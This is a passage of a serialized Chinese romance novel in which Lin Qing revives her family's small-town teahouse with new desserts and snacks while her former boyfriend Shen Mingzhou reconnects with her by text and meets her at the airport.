章凤摆了几年糖水摊,不过是在小学门口,口味上差点意思,林清花了一个星期,不断跟她探讨改良,又提出意见,期间还让章凤去省会和隔壁的市尝尝人家卖得火的糖水,学一学。 糖水从原先的七八样,变成了十几样。 林清还提出把糖水的摊位摆在门店外,在烧烤炸串和糖水摊摊位前做醒目亮眼的大招牌,吸引来往的路人。 茶馆下午的生意,就这么好起来了。 “爸,你要尽快办手续,施工前和他们签订合同,明确各工种交付工期,明年的国庆,我们就要开业。”林清做事有自己的计划,定了日子,就要完成,不能早不能晚。 小地方干活,哪有什么交付工期,很多连合同都没有,但林父一点不嫌麻烦,反而觉得他女儿就是严谨,不愧是干大事的人,立刻道:“行,爸都听你的!” 林清打开设计图,根据细节,又和林父林母聊了一下她的想法。 两人听着认真,尤其是林父,一副要当大事办的模样。 可不是大事吗?他们家要开本地最大的茶楼了,作为一个餐饮人,内心就止不住激动兴奋。 这辈子,他是没那么大的能耐,但是他女儿有啊,他只需要照办。 光想想,都忍不住飘飘然。 林清挂掉和父母的电话,看到章凤给她发了一段语音。 大致意思是,她和何光骏觉得现在的烧烤摊生意不错,茶馆晚上不开业,他们想要晚上在茶馆摆摊卖夜宵,收入可以和下午一样分成。 章凤也明说,她就是想要多赚点钱,何光骏年纪不小了,看看能不能攒钱买套房,也好娶媳妇。 林清没回章凤,而是一个电话打给了何光骏。 何光骏看到她的来电,靠在床头的身子忍不住坐直,接起了电话,不自在叫了一声“....清清?” 他们已经几年没见面了,也就上次林清让他去买烧烤配方的时候交流了一下。 后续的建议,林清都是通过语音发给他。 多少是有点生疏的。 加上章凤和他商量的事情,不知道林清会不会同意,他内心也忐忑。 林清倒是不生疏,电话一接通,她就亲昵唤了一声:“哥。”而后继续道,“大姨和我说了你们的想法,你也听听我的想法,可以吗?” 何光骏连声道:“你说你说。” “晚上的烧烤摊,都得卖到三四点,大姨的身体受不了,长期下来,你的身体也受不了。” 闻言,何光骏眼神有些黯淡。 道理谁都懂,可是生活逼得人没办法,章凤还和他说林清应该会同意,听她那意思,可能黄了。 “我回去后,茶馆必然是扩张的,你甘愿一辈子只在烧烤摊前炸串赚辛苦钱吗?”林清说完缓缓道,“哥,我需要你帮我。” 盖茶楼的事情,林清让林父林母不能告诉别人,事以密成,也怕想法会被截胡。 但是可以告诉他们会开更大茶楼。 何光骏瞳孔猛地微张,下意识都紧张了。 帮? 怎么帮? 能力平平,毫无本事的他有这个能力吗? “炸串没什么技术含量,烧烤料也有配方。你有时间就教教李阿姨,等我处理好这边的事情,之后我会去T省。我有个大学室友,关系很不错,她的姑姑之前在港城很有名的餐厅做糕点师,她现在也开了三家蛋糕店,我爸走不开,我会去学习,之后回来改良。” “大城市发展快,小地方消息滞后,有信息差,只要把握好,我们就能吃到红利,快速赚到钱。” 林清说得何光骏都期待了起来。 她不仅是说说,更有自己的想法和行动,他妈老说林清是个干大事的料,果然没错! 那么他能做什么呢? 林清也给出了安排:“到时候,我会让你来T省学做小吃,去学习大茶楼里各种特色小吃的做法。” 她说完笑:“放心吧,我让你带薪进修。” 何光骏也笑了,他挠了挠头,小声略带紧张道:“哥都听你的。” 他本就一事无成,还怕赌一场吗? 当天晚上。 何光骏躺在床上,对于林清说的那个未来,都忍不住畅想起来,对人生都多了一丝憧憬和希望。 他铁定要好好学,好好干! * 林清正式离职后,花了两天时间,请了工作上交好的同事吃了饭。 她有些大学同学也在首都。 虽然大家都在一个城市,首都真的太大了,一年根本见不了几次。 这一次回去,应该会有几年或者好几年不会见到。 大家最后聚一聚。 林清将房子转租,收拾行李寄回老家。 她带着一个行李箱就去了T省。 阮莹莹提前来接的,刚见面就给林清一个大大的拥抱,热烈欢迎。 她和林清的感情,比寝室谁都深。 阮莹莹刚毕业那年,失恋受伤很深,浑浑噩噩都有了抑郁倾向,她来首都找林清,在她的出租屋住了大半年,林清陪她走出来的。 这一次来T省,林清目标很明确,就是要学习各种糕点。 阮莹莹保证倾囊相授,还要请出她的姑姑,不过对方回港城了,下个月才回来。 林清可以跟着她先学习其他的。 次月。 某天下午。 苏航和沈明舟开车再一次路过林家茶馆。 沈明舟原本在低头回消息,突然听到苏航说:“舟哥,这家茶馆怎么变得这么热闹了?” 听言,沈明舟抬头看向窗外,一眼望过去,先入眼的是两个显眼大招牌。 以往的林家茶馆下午人不算多,有时候只是坐了几桌,今天却满满当当都是人,还有不少年轻人和小孩子。 “他们家现在卖糖水了,还卖炸串烧烤啊?”苏航开窗闻到香味,肚子突然咕噜噜叫,他笑着开口征询,“舟哥,要不我们去喝点下午茶?或者你想吃什么,我去买。” 他跟着沈明舟快两个月,不仅当助理,也当司机。 最近公司忙,还跟着去省会出了几次差。 整体来说,还不错。 沈明舟除了工作上认真,要求高之外,没有领导脾气,也没富二代的傲慢,还给他涨了一千块薪水,第一个月就交五险一金了。 在小县城,这算一份很体面的工作,还有晋升空间,他爸妈都松了一口气,非常满意。 自从那天跟着林清去机场,沈明舟就再也没来过这里,甚至会特意避开这段路。 因为回去后,他缓了半个月,失眠又烦躁。 半晌后,就在苏航要放弃时,就听到沈明舟开了口:“靠边停车,在这吃吧。” “行。”苏衡笑了。 上一次吃过大肉包后,苏航就一直心心念要吃一次粽子,但这边离公司远,上班后实在是起不来,周末又要睡懒觉。 他们家还不开通线上外卖,实在是惦记很久了。 苏衡停好车,和沈明舟一起往店内走。 遮阳棚里的大部分桌子都坐了人,大风扇呼呼吹着,到处都是说话交谈的声音。 苏衡不觉得吵,也不认为沈明舟会不习惯,这就是小地方的烟火气,就得在棚里,坐着老旧的桌椅,那才对味。 苏衡正四处找着桌子,突然听到一个阿姨走过来,笑着对沈明舟道:“小沈来啊?” 苏航懵了一下。 小沈? “李阿姨。”沈明舟笑着问,“还有位置吗?” “有!”李桂兰四周看了一圈,招呼着他往里走,她手脚麻利收拾着桌子,提着红色的塑料桶,将桌上的杯子和垃圾全收进去,“来这,这里有风扇,坐着凉快。” “谢谢。”沈明舟坐了下来。 “好久都没看见你了,工作忙啊?”李桂兰用抹布擦着桌面,笑着问。 “嗯,有点忙。”沈明舟笑着点头。 两人谈恋爱的时候,林清没带他来过,分手后沈明舟自己倒是常来,因为她给他带过几次肉包子,说是她爸的拿手招牌。 他一开始太想她的时候,就来买个肉包子吃。 李桂兰看着刚坐下的苏航:“这位也是清清的同学吗?” 两人刚开始交谈的时候,李桂兰把沈明舟误认为是林清高中同学。 林清上学早,比同届小一岁,沈明舟大了她四岁,这一直是他比较介意的点,总觉得自己年纪大。 李桂兰这么误认时,他也没解释,说明他看着不老,这个误会就一直存在,后面也没专门解释。 苏衡都好奇起来。 清清?不会是他上一次遇到的那个 美女吧?和他的老板是同学?不是这家茶馆的儿媳妇? “他不是,他是我同事。”沈明舟说。 “哦,”李桂兰了然,笑呵呵道,“看着一样大啊,都是同龄人,都是年轻小伙子。” 苏衡听到这句话,整个人石化,如遭雷击。 他大学刚毕业啊,沈明舟比他大七八岁! 苏航默默低头看了看自己黑成小麦色的手臂,今天好像没刮胡子,头发也油油,再看沈明舟,一身休闲装,清爽干净。 打工人的痛这一刻加剧了,职场把人变沧桑,只需要两个月,要不是能开沈明舟的车,他开着小电驴更惨,这么热的天,指定晒成黑炭。 “吃点什么?”李桂兰问,“不喝茶也行,我们店有很多糖水,天气这么热,喝一杯很解暑,店里还有很多新出的糕点,都是我们清清去外面学回来的,这段时间卖得很不错。” 苏衡回头看着那一桶桶糖水,上面挂着名字,什么冰桃胶、菠萝话梅冰、斑斓凉虾、西瓜椰椰大奶,杨枝甘露、冰奶茶、芋头西米露、牛乳绿豆沙、水果茶、薄荷奶油、红豆小圆子、冬瓜茶.... 光看名字,就已经让人升起想要品尝的冲动。 每一款看起来都很诱人。 摊位前站了不少小孩子,点名要这个要那个,装杯的章凤忙个不停。 沈明舟却抓住了关键信息,下意识追问:“清...林清学回来的糕点?” “对啊,我们家清清这几个月都在T省学做糕点,还是跟着一个港城的大糕点师,上新的那几款卖得可好了,刚出炉没一会儿就卖完了。”李桂兰话语里很自豪。 沈明舟面色微变,薄唇抿得很紧。 他刚要开口继续问,又强行忍住。 苏航点了两杯糖水,真是便宜又实惠,才三四块钱一杯,排骨包更是绝,里面有一块腌制好的猪肋排,一抿就脱骨,香极了。 粽子倒是不比南记茶楼的好吃,但有肉有蛋,才6块钱,南记茶楼要12块,这么一比它简直是性价比拉爆。 打开吃货模式的苏航没注意到沈明舟的反常。 沈明舟点了林清学回来的那几样新糕点。 芋泥酥饼、椰香饼、鸡仔饼、马蹄糕.... 听李桂兰说,叉烧包做了改良。 沈明舟也吃出来了,面体更软,表皮更酥,馅料的酱汁浓郁挂壁,咸甜平衡,他却没有半点品尝的心情。 待苏航吃好后,沈明舟起身结账。 他们刚离开,立刻就有人去占位了,一对夫妻牵着两个孩子,孩子正闹着要喝糖水。 * 沈明舟一整天都心不在焉,他打开林清的社交账号,IP地址不在首都而是T省。 她很少更新动态,一年发不了一次,所以沈明舟不会格外关注。 但就在今天,林清发了一个视频。 视频里是她做的菠萝包,整个面包鼓鼓囊囊,酥皮都在反光,隔着视频仿佛都能闻到那股香甜诱人的味道。 沈明舟却没有半点想吃的欲望。 他拿着手机,焦灼在客厅里来回踱步,几次打开和林清的聊天框。 一段话删删减减,始终没发出去。 依照沈明舟对林清的了解,她那么看重在首都的工作,除了加班,就是加班,两人异地恋的时候,都是他去找她,每天都是十一二点下班,见一面很不易。 她怎么可能会有闲心情去学做什么糕点,还跑去T省,肯定是去找阮莹莹。 工作应该是辞职了,是什么样的事情,能让她放弃一份坚持这么久,引以为傲的工作? 当初他们就是因为这个分手的啊。 林清是擦着眼泪,第二天还会继续在职场拼搏的人,他都做不到那么理性冷静。 沈明舟能想到的,就是林清遭遇了事情,不得不辞职,到底是什么样的大事,能给她带来这么大的伤害? 沈明舟想到了阮莹莹失恋来找林清的经历,难道林清也—— 刹那间,沈明舟像泄了气的球,有些恍惚坐在沙发上。 他点开林清的头像。 她的头像是在草原上的一张背影,那是他们一起去旅游的时候拍的,她一直没换过。 朋友圈里,林清也发了她做的菠萝包,话语里心情还不错。 真的不错吗? 沈明舟很想问问,却不知道以什么样的身份。 一想到林清可能是失恋才去找阮莹莹,还因此辞掉工作,沈明舟心头就像压了一块巨石,一颗心徐徐下坠,拿着手机低着头,背都忍不住弯下来。 从他决定回来,迟早有这一天的。 沈明舟不知道坐了多久,他放下手机,拖着沉重的脚步,去了浴室,给自己冲了个冷水澡。 出来之后,他就冷静了,从沙发上拿起手机。 他要问问。 哪怕,作为朋友,也要关心一下不是吗? 沈明舟打开手机,心下猛地扯了扯,他不知道什么时候乱点,连连给林清发了三四个乱七八糟的表情包。 其中还有一只大白猫捧着肚子笑出眼泪。 看起来多少有些幸灾乐祸了。 沈明舟:“......” 他这辈子都没这么紧张尴尬的时候,手心和后背都开始冒冷汗。 发送时间已经是半个小时前,根本撤不回。 林清也看见了,她回了一个问号。 沈明舟强装镇定,快速打出一段字:【不好意思,乱点到了。】 这个解释,他都不知道她能不能接受。 林清很快回:【嗯,我知道。】 沈明舟慌张忐忑的心,随着她的回复,一下又安定下来。 他知道,她接受也相信这个解释了。 只是沈明舟刚刚升起要询问她的想法,又变得犹豫纠结。 好不容易才有的一次聊天,他又不想断掉,拼命在有些空白的脑海里想着能聊的话题。 删删减减,迟迟没发出去。 反倒是林清发了一句:【我下个月底回去。】 她突然这么说,依照沈明舟对她的了解,他脑海里闪过一个想法,只是有些不敢抓住。 林清又发来一条:【到时候你有空的话,一起吃个饭?】 她还配上一个诚挚邀请的可爱表情包。 7.县城首富恋爱脑学长的白月光(7) 林清这两句话,承包了沈明舟未来两个月所有的欢喜。 他数着日子开始期待,就像当初两人异地恋的时候,无论多忙,只要想到日子能去见她,日子都会变得充满希望。 就连苏航,都发现沈明舟心情很不错,肉眼可见的高兴。 沈明舟带苏航去过几次林家茶馆。 这段时间,小茶馆每隔一个星期左右就会上新一两种新品,种类变得丰富起来。 苏航钟爱糖水,还有他们家的裹面粉炸串,包子的话,就是肉包和排骨包换着来。 反倒是爱吃这两种包子的沈明舟,每次都会点新品。 李桂兰端着两个盘子上来,放在沈明舟面前,笑容满脸:“红豆糕和萝卜糕是今天才做的,刚出炉。” “清清前几天才教他爸,趁热尝个鲜。” “远程教学吗?”沈明舟含笑问,眉眼带了一丝不易察觉的温柔。 “可不是嘛,一天视频好几个小时,”李桂兰手脚麻利收拾着隔壁桌,“她在那边做,他爸在这边做,一对一指导。” “还能这样啊?”苏衡喝着糖水,一脸好奇。 “店里离不开老板,只能这样了。清清说了,无论什么时候,都要学习进步,不然就会被淘汰,我都要学呢。”李桂兰说。 “阿姨,你也要学啊?”苏航张口咬包子的动作顿住。 一个五十几岁的阿姨,在街边苍蝇小馆领着两千几的工资,学什么? 别说一大把年纪的阿姨,苏航出了社会,觉得上班累得要命,也没了学习环境,根本不想学习,下班只想葛优瘫。 “学啊,”李桂兰拎着收餐具的桶,“我们最近天天研究凉拌菜和卤味,过段时间要卖了。” “店里的每一个人,都要学习进修。炸串的小骏去T省了,去大茶楼学习小吃,过段时间,还要招个掌厨的师傅,店里这个师傅也要去进修。” “师傅也要去进修学习?”苏航惊到了,“这也太卷了吧。” 店里的阿姨和师傅,那都几岁了。 比他还牛马啊,打工人实惨。 “可不是卷嘛,大环境就是这样,”李桂兰收起抹布,她看着乌压压坐满人的遮阳棚,咧嘴笑道,“不过我们还好,店里客户多了,清清就给我们涨工资,不像其他店,这些都和员工没关系。” “我们现在还有绩效奖金。” “绩效奖金?”苏航忍不住一眼环视这个小破茶馆。 这种东西,会出现在这里? “对啊,”李桂兰压低声音,眼底带笑,“上个月一个人有350,店里现在忙,工资加650,已经很不错了。” 这样的话,一个月多领了1000。 好大一笔钱,都快赶上她之前半个月的工资。 要按照林家茶馆之前的生意,都要考虑辞退或者减工资,现在好多地方都开始放无薪假,又或者做一休一,只发半个月工资。 她已经很满足。 苏衡一听,这不是和他加的工资一样吗?他也高兴了好几天。 这样的工资,在小茶馆里可不算低了。 “那挺好的。”苏衡的偏见瞬间没了。 打工人可以卷,但得加钱! 图的不就是这个吗? “是挺好啊,进修回来就涨工资,去一次涨300,掌厨师傅原先不肯去,后来一听说带薪去,回来就涨工资,现在是都巴不得去。”李桂兰说。 苏衡对林清的好感不断攀升。 难怪她能经营好茶馆,也是有一套的。 沈明舟嘴角的笑意不断加深。 “对了,菠萝包刚出炉,小沈你吃过没?”李桂兰问沈明舟,顺带吐槽,“之前的不好吃,每天都没卖完。清清改良过的应该会好点,才2块钱一个。” “拿两个吧。”沈明舟含笑说。 李桂兰快速去拿。 菠萝包端上来后,沈明舟没吃,而是拿着手机拍照。 苏航还特意往后仰,避免自己入境。 沈明舟收起手机后,苏航等了一会儿这才开吃,他大快朵颐道,“舟哥,他们家的东西,现在是种类齐全,还好吃便宜!” “....嗯。”沈明舟喝了口清茶,正在低头打字。 苏航见他在忙,没有说话,继续开吃。 裹着面粉的鸡翅一入口,外皮香脆,内里鲜嫩,直接爆汁。 绝! 沈明舟斟酌打了一行字,其间还停下来想了想。 苏航更是控制不过度发出声音。 他们打工人到点就下班,沈明舟则每天都比他晚走,沈家产业多,忙得很。 沈明舟将反复修改的消息,连同刚拍的照片,点了发送。 消息刚出去后,他没放下手机,把几样新糕点拿过来,放在眼前仔细品尝。 苏航见沈明舟开动了,叭叭叭开始疯狂夸手上的鸡翅,“舟哥,我给你拿一个吧,真的巨好吃!” 他说着,咬了一口,声音酥脆。 沈明舟余光一直盯着聊天框:“不用,你吃吧,想吃什么就拿,吃不完再打包。” 苏航起身往店门走,林清也回了消息,沈明舟把头埋得更低了,心情雀跃。 林清回:【味道怎么样呀?】 自从上一次聊天后,两人偶尔也会聊天。 沈明舟会很克制,只能是偶尔。 他不清楚林清对他是什么态度,也不清楚她现在的想法。 两人刚开始谈恋爱的时候,感情浓烈,他们恨不得24小时黏在一起,把最好的都给对方,眼底心里都是彼此,爱得算是轰轰烈烈。 这样的时间,仅仅持续了两年,后面就是异地恋,加上分手前的拉扯,最后才彻底分开,再无联系。 他们朝夕相处又甜蜜幸福的时间,和后面比起来,连三分之一都不到。 沈明舟小心翼翼,带着格外的敏锐,会从林清的每一个字,或者她后面的语气词,判断她的心情,还有能不能继续聊下去。 他就像守护着一簇极其微弱的火苗,随时都可能熄灭,但他想要舍不得让它熄灭,甚至想让它烧得旺盛一些。 瞧见林清回复里多了一个语气词,沈明舟松了一口气,能放下筷子,快速打着字:【挺好吃的。】 林清:【菠萝包吃了吗?】 沈明舟:【嗯。也不错。】 林清:【和我们之前在T省那家大的早茶店相比呢?你觉得怎么样?】 她的话,勾起了沈明舟的回忆。 他们一起去过T省,阮莹莹招待了他们。 送他们去机场时,阮莹莹还说,下一次见面,希望是两人的婚礼,一定要请她当伴娘。 当时,他们是真的觉得可以结婚,林清没有犹豫,笑着就答应了。 沈明舟记得他当时也说一定会请。 这一次,林清是一个人去的。 沈明舟仔细回想,又咬了一口菠萝包:【....可能,差一点?】 毕竟那家菠萝包要6块钱一个,林家卖2块,就像苏航说的,性价比已经拉满了。 林清迅速回了一个表情包。 一只熊在原地,头顶旋转的蚊香,动作摇摇晃晃,迷糊晕中。 沈明舟眼底微闪,心有些提起来。 林清:【那一家菠萝包是又贵又难吃,居然连那一家都比不上,我爸被菠萝包打败了。】 沈明舟立刻改口:【时间太久了,我估计也忘了。】 林清:【可是我要惊艳啊,菠萝包是我想主打的招牌。】 沈明舟原本还想着说些什么安抚林清,店里的生意在她的带领下已经很好了,听到林清说菠萝包是她想打的招牌,立刻就打消了念头。 他说:【那叔叔做得不算惊艳,但性价比本地第一。】 消息发出去后,沈明舟也配上一个和她一样的表情包,附和她。 林清强调:【可我要惊艳。】 沈明舟嘴边带上笑意。 他太明白她了,想要做的事情,就要做到最好。 工作上是,现在学做糕点也是。 【明白。】他回。 沈明舟等了一会儿,见林清没再回,他又挑起一个话题:【机票买了吗?几号回来呢?】 这件事,他很关心,生怕被打乱计划,也怕她再回首都。 林清:【刚下单,30号。】 沈明舟的心定大半。 他和苏 衡起身时,让李桂兰打包了一大袋面包和糕点,说是拿回去给员工吃。 新出的红豆糕和菠萝糕拿了不少,菠萝包直接全买。 还有糖水,沈明舟让苏航算算一会儿要去的分公司一共有多少人,给他们送去。 苏衡正打电话问。 李桂兰冲到后厨,对林父喊道:“老板,有大生意啊,清清的同学要下大订单。” 沈明舟刚要离开,就看到穿着厨师服的林父走出来了。 他下意识有些紧张起来,极力维持着表面的平静。 对他来说,林父不是一个小茶馆的老板,反倒像.....长辈。 沈明舟和林清恋爱时,想过无数次,登门拜访,后来一直没机会,他也没想到第一次见面,会是这样的场景。 只是他失去了另一层身份。 “清清的同学啊?”林父提起女儿就自豪,他这段时间每天都和林清视频打电话好几个小时,干活都变得有劲儿,眼看店里生意越来越好,天天笑容满面,看到沈明舟就远远伸出手,“长得一表人才,真帅啊,感谢支持感谢支持。” 沈明舟伸手回握,林父另一只手也握住他,一脸高兴甩了好几下:“估计得打包好一会儿,你留个地址,我一会儿给你们送过去。” 苏衡站在一边,等沈明舟和林父寒暄。 林父一直在说话,从店里的生意变化,到林清是如何建议,再到糕点改良,库库库一顿夸。 话里话外说林清其实就是做生意的料,不在首都上班也挺好,上班累,加班多,回来接管茶馆,他也好安心。 “父母不就是这样吗?希望孩子能陪在身边。” “她这孩子要强,我一直放不下她独自在首都。” “我家清清聪明,从小就聪明。” ..... 沈明舟从林父的只言片语中,细细提取自己想要的信息。 林清的确辞职了,看起来她并没有和父母说过首都发生的其他事情,在林家人眼里,她过得不错。 不过她是一个对家里报喜不报忧的性子,绝不可能因为加班多就辞职。 但有个很重要的信息。 林清很可能回来接管茶馆。 这个可能性让沈明舟心跳都加速了,但可能性有多大,他不知道。 当初沈明舟私心想要林清回来,放弃首都的工作。 只要她回来,他们就结婚,而她不愿意放弃更广阔的天地,甚至也不排除以后会出国留学的想法。 她是爱他的,可又那么坚定。 沈明舟留下地址电话,顺带还要了林父的电话,这才离开。 苏衡开着车,忍不住问;“舟哥,林清真是你的同学啊?高中同学吗?” “她看起来那么大吗?”沈明舟剑眉一拧,有些不满。 “不啊,”苏衡快速否认,“她看起来也就二十出头,像我同学。” 不过他现在晒黑了,已经变得沧桑,上一次和他表哥还有沈明舟站在一起,他表哥是足不出户,皮肤白,结果居然有人把他认成两人的哥。 真是胸口正中一剑。 沈明舟脸色好了不少,“大学同学,”他说完,还要补充,“我大她三届。” 苏衡脑子还转了一下,这种不算大学同学吧?这叫校友? “那不就是学长和学妹吗?大三岁呢。” 苏衡刚说完,沈明舟沉声强调:“好好开车。” 话题彻底终止。 实际上是大四岁,沈明舟今年29。 在小县城,处于大龄剩男边缘,跨过30岁,就要面临催婚,沈老爷子和沈老太太都开始暗示了。 沈明舟心里升起一抹郁闷。 此时,他的手机突然震动了两下。 沈明舟有些烦躁拿起来,以为是哪个客户的消息,瞧见林清的头像,心情瞬间转晴。 林清:【我爸说我同学来我家下大订单了。】 林清:【是你这个大客户吧?】 林清:【回去请你吃饭哈。】 末尾,她配上一个表情包。 一只可爱的兔子半弯腰,脑袋上还垂落着一束红色的小鲜花,顶上写着几个字:灰常感谢~~ 8.县城首富恋爱脑学长的白月光(8) 沈明舟焦急等待,时间也在不紧不慢中依旧流逝,终于到了月底 一大早,苏航看着要跟他一起去省会的沈明舟,出言道:“舟哥,我一个人去就行,有什么事我给你打电话。” 不过是一个小小的项目,他都入职这么久了,还让沈明舟陪他去一趟,这不是证明他能力不行吗? 沈明舟眉眼飞扬含笑,先一步上了驾驶座:“路程远,两个人去比较好。” 苏航看着亲自开车的沈明舟,心里那叫一个感动。 他遇到了一个好老板啊,知道他入职不久,第一次短途出差,还亲自带他去。 都说社会职场残酷,他就是被眷顾的那一个! 因为沈明舟的“偏爱”,苏航一路上都在叭叭叭讲话,天南地北各种扯。 沈明舟很少接话,唇边笑意不减,看起来随和包容。 苏航说得更起劲了,时不时还和沈明舟探讨起人生和理想。 如果他不那么马大哈的话,就会发现,沈明舟纯属心情好,心思都不知道飘到哪里去了。 他只想快点到省会。 机场就在省会。 苏航原本想半路接替沈明舟开车到省会,毕竟一个人全程开接近两百公里,还是会有点累。 结果沈明舟一个人就开到了省会,是个贴心好老板。 本来是苏航的工作,沈明舟倒是全程处理了。 其间,他脸上带笑,偶尔还会语气极其温和提醒指导苏航,不是把他当下属,而是一个亲弟弟。 平日里,沈明舟要求工作效率,并不是一个温顺的老好人,坐上沈家未来接班人的位置,也注定他必然有自己的一套法则,但也有温情。 苏航觉得沈明舟肯定是见他最近太辛苦,怕他第一次短途出差害怕,特意陪他。 他一定要誓死追随沈明舟! 离开了沈明舟,哪一个老板会对他这么好啊? 处理好工作,到了午饭时间。 “你想吃什么?”沈明舟问苏航。 “舟哥,我都行。”苏航立刻表示。 沈明舟的手机传来消息,他低头看。 林清说她和阮莹莹正在吃火锅。 “吃火锅吧。”沈明舟勾唇,做出决定。 “行!” 沈明舟带苏航去了省会最火的一家火锅店。室内庭院的装修,半围合中式建筑,仙气飘飘极具高级感。 要不是跟沈明舟来,苏航都得摸摸自己的钱包,他悄悄查了人均消费,是他目前消费不起的档次。 沈明舟把菜单给苏航,让他点。 苏航可不敢点,挠头笑道:“舟哥,我吃什么都行,不挑食。” “嗯。”沈明舟按照林清的口味点了一桌,温声细心问他还需不需要加点什么? “够了够了。”苏航受宠若惊,暗暗发誓工作上一定要更加努力,要对得起沈明舟对他的偏爱。 这就是命。 跟对贵人也是一种命。 没办法,他的命就是这么好! 服务员很快把锅底和食材端上来。 这氛围,这精致的摆台,苏航拿着手机恨不得狠狠拍照留纪念。 沈明舟一直在看手机,回复消息。 林清说她们在逛街,一会儿要回去睡个午觉,东西已经收拾好了,起床后她就去机场。 见她的时间正在倒数,沈明舟内心的欢喜无法抑制,他给林清回了消息,抽着空,抬头看向苏航笑着问:“味道怎么样?好吃吗?” “好吃,真不错!”苏航正在埋头大干肥牛卷,再一次觉得沈明舟是个绝世好老板。 沈明舟又下了一盘肉。 他的心情如同这滚烫的锅底一样,那么雀跃,笑容在脸上漾开来,眉梢往下压。 沈明舟最后又加了两盘苏航喜欢吃的肥牛卷,贴心等他吃饱,然后结账。 沈明舟往外走时,步伐都是轻快的,他对苏航道:“这里很出片,女孩子应该都喜欢。” 林清就很喜欢。 以前两个人从首都回来,必定要来吃上一顿,但她是晚上的飞机,落地时间是九点半,吃不上了。 自从两人分手后,沈明舟也没来过。 所有他们一起去过的地方,他都没再去,实在是回忆凶猛,爱得热烈,他不想为难自己。 “幸好我没喜欢的女孩子,谈恋爱多浪费钱,”苏航表示自己还想存钱买台炫酷的游戏本,还有自己喜欢的各种电子产品。 沈明舟倒没反驳,依旧唇角上挑,慢悠悠往前走。 隔壁就是商场,两人走了进去。 外面天气这么热,又刚吃好火锅,苏航恨不得进去里面避暑,好不容易来省会,逛一逛才不亏。 在商场里,男人最有兴趣的,除了车,就是电子产品。 苏航左看看,右看看。 他心心念的一款运动手表在县城没货,这里居然有货,不过价格也贵一点,接近三千块。 这可是他大半个月工资了。 穷酸的刚毕业大学生买不起,只能了解看看过过瘾。 沈明舟大手一挥,给他买了。 苏航这下是震惊感动得语无伦次,简直都要热泪盈眶。 他何德何能啊? 就在苏航要激动地表达自己的感谢时,沈明舟往门口走,说了一句:“我还有点事要处理,你先坐高铁回去,费用和今天的出勤费找公司报销。” “舟哥,我可以帮你处理。”苏航追上去,忠心耿耿,“真的,有什么事情就交给我!” “你处理不了,”沈明舟抿唇,“先回去。” 两人分别时,苏航还在反思自己太没有能力,不能帮沈明舟排忧解难。 那么远的路,沈明舟开车过来,还要一个人开车回去。 好辛苦好可怜,真是个好领导, 就在苏航反思自己的时候,沈明舟已经开车去了机场。 林清还没回来,但他想离她近一点。 下午四点。 林清准备登机的时候,沈明舟给她发了几张图片,是他下午和苏航在火锅店照片。 “你在省城?”林清立刻回。 沈明舟:“嗯,来处理点紧急的事情。” 林清看着这条消息,眼底泛起一丝笑,打着字:“什么时候回去?” “事情有点麻烦,助 理留在这里接着处理,我晚上回去,在这边睡不好。”沈明舟没掩饰自己的目的,“正好顺路,等你一起?” 林清跟着人群登机,她将手机放在嘴边,轻声道:“我现在才开始登机,会不会太晚了?” 沈明舟将手机语音听了几遍,打字回她:“还没处理完,最早估计也要晚上八九点,刚好能等你一起。” “那就麻烦啦~~~” 沈明舟将车停在机场停车场,缓缓往椅子后躺,嘴角噙着浅浅的笑意。 怎么会麻烦呢? 一点都不麻烦。 林清在飞机起飞时和沈明舟说了一声,两人还聊着天,她突然就不回了。 沈明舟知道是没了信号。 他用手肘枕着后脑勺,本来想在车上眯一会儿,他已经接连几个晚上有些睡不着,也想要以最好的一面见她。 奈何,太亢奋了。 沈明舟胸腔里有些加速的心跳,代表了对一个人最直白的想念。 他睁着眼,通过停车场低矮的楼层,望着外面缓慢一点点变暗的天色。 五点、六点、七点、八点.....沈明舟保持三五分钟看手机的频率,真是恨不得一下把时间划走。 八点半的时候,沈明舟就已经忍不住,下车去了到达大厅等。 林清的航班是九点半落地,取完行李出来,怎么着也得九点多,沈明舟看着不断走出来的人群,哪怕知道不会是她,还是忍不住往人群里扫视。 他一边看时间一边等她。 九点二十分的时候,又有一拨人出来了,沈明舟习惯性望过去,在人群里,他看到了熟悉的身影,就那么一眼,他就像是被人下了定身咒,杵在原地。 林清推着行李走出来了。 她穿着一件杏色的裙子套装,彩色的细竖条纹设计将她的原本苗条纤细的身材再次纵向拉伸,显得落落大方又聘婷玉立,蕾丝娃娃领减龄娇俏,带了一丝鲜活灵动。 很休闲简约的打扮,配上她那张白净透亮的脸,在人群里依旧明媚耀眼,夺人眼球。 那一刻,周围的一切好像被按下了暂定键,沈明舟的脑海出现了短暂的空白,“嗡”的一声,耳边只剩下心如擂鼓的心跳。 大厅里的机械广播、乘客和家属的交谈、司机的吆喝询问....通通不存在了。 沈明舟看着林清不断朝自己走来,心里唯一的理智,就是提醒自己控制情绪。 他们之间,不像从前,又有一层尴尬的身份,维护更要小心翼翼。 林清也看到了沈明舟,两人对视的时候,她的眼睛瞬间弯成一轮月牙,翘起一个灿烂明艳的笑容,推着快步往他那边走,声线温软:“我提前到达了,刚想给你打电话。” 在林清露出笑容的刹那,沈明舟像是被解开封印,他迎着她走过去,眉间皆是笑意:“正好,我也刚到。” 沈明舟说话的时候,唇角不断上扬,笑容满面,根本藏不住。 遇到爱的人就是这样。 一见她,他就已经忍不住笑了。 两人在一起的时候,没吵过架。 遇到一个看见就会笑的人,怎么会吵得起来呢? 9.县城首富恋爱脑学长的白月光(9) 沈明舟伸手接过林清的行李箱,她动作自然松手,跟着他从3号出口走出去。 “身子都坐僵硬了,这趟飞机太颠簸。”林清随口跟他吐槽,“起飞前还下了雨,我以为要延误。” “那真是辛苦了,”沈明舟见她动了动脖颈,让她把肩上的编织包放在行李上,“我带你去按摩?放松下,回去也好睡些。” 林清把包放上去,抬手小捶了两下肩膀,婉拒道:“我爸妈还在家等我,回去晚了,他们也睡得不安心,明天还得早起。” “那就先回去吧,饿不饿?”沈明舟又问。 飞机餐不好吃,她很少吃。 “莹莹给我买了很多吃的,包里还剩不少,吃不下。”林清催促他,“快回去,不然要半夜到家了。” “好。”沈明舟笑。 到了停车场。 沈明舟将行李推到后备箱,放在车里。 林清动作熟练走到副驾驶座,打开车门上车。 两人宛如一对很熟悉的故友,有着很多不必言说的默契。 沈明舟上车时,放的音乐都是林清喜欢听的舒缓歌单。 出了机场,没开多久,就上了高速。 沈明舟余光看了林清一眼,轻声道:“你要不要睡一会儿?还有好一会才到家。” 他认为阮莹莹的性子有些聒噪,从林清的神色上看出,昨天和今天中午,阮莹莹都缠着她说了不少话。 